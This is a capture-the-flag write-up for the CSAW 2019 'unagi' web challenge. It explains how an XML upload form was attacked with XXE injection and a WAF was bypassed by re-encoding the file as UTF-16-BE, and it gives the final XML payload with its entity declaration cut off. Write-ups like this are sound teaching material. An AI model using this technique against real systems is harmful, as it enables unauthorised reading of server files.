Rating:

# unagi (200 pts)

> come get me
> http://web.chal.csaw.io:1003

Upon visiting the web page, we are presented with a navbar containing
> Home | User | Upload | About

We are able to learn that the webserver is running Apache + PHP through basic observation. (Links contain .php, Server included in response headers)

In `About`, it tells us the flag is in flag.txt. Awesome.

For `User`, the contents are

```
Name: Alice
Email: [email protected]
Group: CSAW2019
Intro: Alice is cool

Name: Bob
Email: [email protected]
Group: CSAW2019
Intro: Bob is cool too
```

For `Upload`, we are given a _`sample.xml`_ and an option to upload our own xml. The contents of _`sample.xml`_ are as follows:

```xml
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>[email protected]</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>[email protected]</email>
<group>CSAW2019</group>
</user>
</users>
```

Interestingly, there is no `<intro></intro>` element as shown in the `User` page. When we copy the sample verbatim and upload it, we get an output of
```
Name: Alice
Email: [email protected]
Group: CSAW2019

Name: Bob
Email: [email protected]
Group: CSAW2019
```

So lets try a basic XXE injection with PHP wrapper using `]>` . This time we get a message saying `WAF blocked file upload` or something amongst those lines.

Upon googling around, I came upon [this article](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0). According to method 3, some WAF may not be able to parse different encodings. So we try to save our file as `UTF-16-BE` in any code editor (VSCode in my case) and upload it.

The upload works, and the injection succeeds however we can only see 20 `A`'s. Apparently the output truncated. After wasting huge amount of time, I remembered about the `<intro></intro>` element. Apparently it is not truncated so we use it to get our flag.

Solution (saved in `UTF-16-BE` encoding):
```xml
]>
<users>
<user>
<name>name</name>
<email>email</email>
<group>group</group>
<intro>&flag;</intro>
</user>
</users>

```

Original writeup (https://github.com/jiafuei/ctf-writeups/blob/master/csaw-2019-quals/web/unagi/solution.MD).